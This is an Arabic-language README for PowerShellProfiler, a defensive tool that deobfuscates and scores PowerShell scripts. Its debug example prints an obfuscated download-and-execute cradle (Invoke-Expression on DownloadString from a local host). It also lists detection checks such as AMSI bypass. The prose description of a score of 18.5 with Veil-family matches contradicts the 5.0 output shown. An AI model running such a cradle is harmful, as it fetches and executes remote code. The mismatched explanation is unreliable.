
PowerShellProfiler
كود هذا المشروع مأخوذ من https://github.com/pan-unit42/public_tools/tree/master/powershellprofiler
PowerShellProfiler.py هو سكربت لتحليل سكربتات PowerShell بشكل ثابت عن طريق إزالة التعتيم وتطبيع المحتوى، ثم يتم تحليله لاستخراج مؤشرات سلوكية. تُقيَّم هذه السلوكيات ويوفّر مجموع النقاط مستوى خطر محتملاً لسكربت PowerShell. أُنشئ هذا المشروع لتسليط الضوء على طريقة عملية للتعامل مع التحليل الجماعي لسكربتات PowerShell ومساعدة الفرق الزرقاء (Blue Teams) من خلال توفير أداة إضافية يمكن استخدامها لتسريع التحليل.
في سلسلة مدونات Unit42 - «التنميط السلوكي العملي لسكربتات PowerShell من خلال التحليل الثابت» يتم تناول المفهوم والتصميم وإيجابيات وسلبيات هذا الأسلوب في التنميط الثابت للسلوكيات داخل سكربتات PowerShell.
usage: PowerShellProfiler.py [-h] -f <file_name> [-d]
PowerShellProfiler analyzes PowerShell scripts statically to identify and
score behaviors.
optional arguments:
-h, --help show this help message and exit
-f <file_name>, --file <file_name>
PowerShell Script to behaviorally profile
-d, --debug Enables debug output
الاستخدام القياسي واضح ومباشر إلى حد كبير. ما عليك سوى استخدام الخيار «-f» لتمرير اسم ملف (سكربت PowerShell، أو تصدير سجل ScriptBlock، أو ملف نصي، إلخ) وسيقوم سكربت PowerShellProfiler.py بإخراج النتائج.
C:\Users\Al1ex\Desktop\PowerShellProfiler>python3 PowerShellProfiler.py -f C:\Users\Al1ex\Desktop\Powershell\1.ps1
C:\Users\Al1ex\Desktop\Powershell\1.ps1 , 5.0 , Mild Risk , 0:00:00.008002 , [Downloader - 1.5 | Script Execution - 1.5 | One Liner - 2.0]

الإخراج مفصول بفواصل ويستخدم الحقول التالية:
File Name , Profiling Score , Proposed Risk Level , Analysis Runtime , Behaviors (pipe-delimited)
في هذه الحالة، تم تحديد أن الملف «1.ps1» يحتوي على خصائص/سلوكيات تشير إلى أن السكربت قادر على تنزيل المحتوى، وبدء عملية، وتنفيذ محتوى سكربت إضافي، واستخدام الضغط، وتعداد نوع من معلومات النظام، وأن السكربت بأكمله يتسع في سطر واحد، وأن هناك أنماطًا تطابق عائلة برمجيات خبيثة معروفة باسم «Veil». يتم تقييم هذه السلوكيات بشكل فردي ويصل مجموعها إلى 18.5، وهو في نطاق أعلى خطورة.
بالإضافة إلى ذلك، يوجد وضع «تصحيح» (debug) عبر الخيار «-d»، وهو مفيد لاستكشاف أخطاء فك التشفير/إزالة التعتيم الفاشلة، وأوقات التشغيل الطويلة، وتحليل المحتوى المفكوك التشفير للبحث عن سلوكيات جديدة، وبشكل عام للحصول على مخرجات أكثر تفصيلاً.
C:\Users\Al1ex\Desktop\PowerShellProfiler>python3 PowerShellProfiler.py -d -f C:\Users\Al1ex\Desktop\Powershell\1.ps1
Opened File C:\Users\Al1ex\Desktop\Powershell\1.ps1
[+] Normalization Function
[!] Format Replaced - True: 0:00:00.000997
[!] Format Replaced - True: 0:00:00
[+] Normalization Function
[+] Normalization Function
##### TIMING / MATCH #####
Main Processing: 0:00:00.003988
Family ID: 0:00:00.001995
Behavior Check - Code Injection: 0:00:00
Behavior Check - Key Logging: 0:00:00
Behavior Check - Screen Scraping: 0:00:00
Behavior Check - AppLocker Bypass: 0:00:00
Behavior Check - AMSI Bypass: 0:00:00
Behavior Check - Clear Logs: 0:00:00
Behavior Check - Coin Miner: 0:00:00
Behavior Check - Embedded File: 0:00:00
Behavior Check - Abnormal Size: 0:00:00
Behavior Check - Ransomware: 0:00:00
Behavior Check - DNS C2: 0:00:00
Behavior Check - Disabled Protections: 0:00:00
Behavior Check - Negative Context: 0:00:00
['DownloadString']
Behavior Check - Downloader: 0:00:00
Behavior Check - Starts Process: 0:00:00
['Invoke-Expression']
Behavior Check - Script Execution: 0:00:00
Behavior Check - Compression: 0:00:00
Behavior Check - Hidden Window: 0:00:00
Behavior Check - Custom Web Fields: 0:00:00
Behavior Check - Persistence: 0:00:00
Behavior Check - Sleeps: 0:00:00
Behavior Check - Uninstalls Apps: 0:00:00
Behavior Check - Obfuscation: 0:00:00
Behavior Check - Crypto: 0:00:00
Behavior Check - Enumeration: 0:00:00
Behavior Check - Registry: 0:00:00
Behavior Check - Sends Data: 0:00:00
Behavior Check - Byte Usage: 0:00:00
Behavior Check - SysInternals: 0:00:00
Behavior Check - One Liner: 0:00:00
Behavior Check - Variable Extension: 0:00:00
Behavior Check - Script Logging: 0:00:00
Behavior Check - License: 0:00:00
Behavior Check - Function Body: 0:00:00
Behavior Check - Positive Context: 0:00:00
Behavior ID: 0:00:00.010971
C:\Users\Al1ex\Desktop\Powershell\1.ps1 , 5.0 , Mild Risk , 0:00:00.018915 , [Downloader - 1.5 | Script Execution - 1.5 | One Liner - 2.0]
##### ORIGINAL SCRIPT #####
.("{4}{1}{0}{2}{3}" -f 'Express','-','io','n','Invoke') (&("{2}{0}{3}{1}"-f 'e','-Object','N','w') System.Net.WebClient).DownloadString("http://127.0.0.1:4444/Al1ex.txt")
##### ALTERED SCRIPT #####
."Invoke-Expression" (&"New-Object" System.Net.WebClient).DownloadString("http://127.0.0.1:4444/Al1ex.txt")
C:\Users\Al1ex\Desktop\PowerShellProfiler>
